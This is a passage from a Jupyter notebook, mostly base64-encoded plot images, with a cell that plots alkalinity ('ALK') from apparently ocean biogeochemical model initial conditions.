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", "text/plain": [ "<Figure size 900x500 with 2 Axes>" ] }, "metadata": {}, "output_type": "display_data" } ], "source": [ "initial_conditions_with_bgc.plot(\"ALK\", eta=0, layer_contours=True)" ] }, { "cell_type": "code", "execution_count": 26, "id": "9ecacc71-1bc6-4108-a257-891c1d13afe1", "metadata": { "tags": [] }, "outputs": [ { "data": { "image/png": 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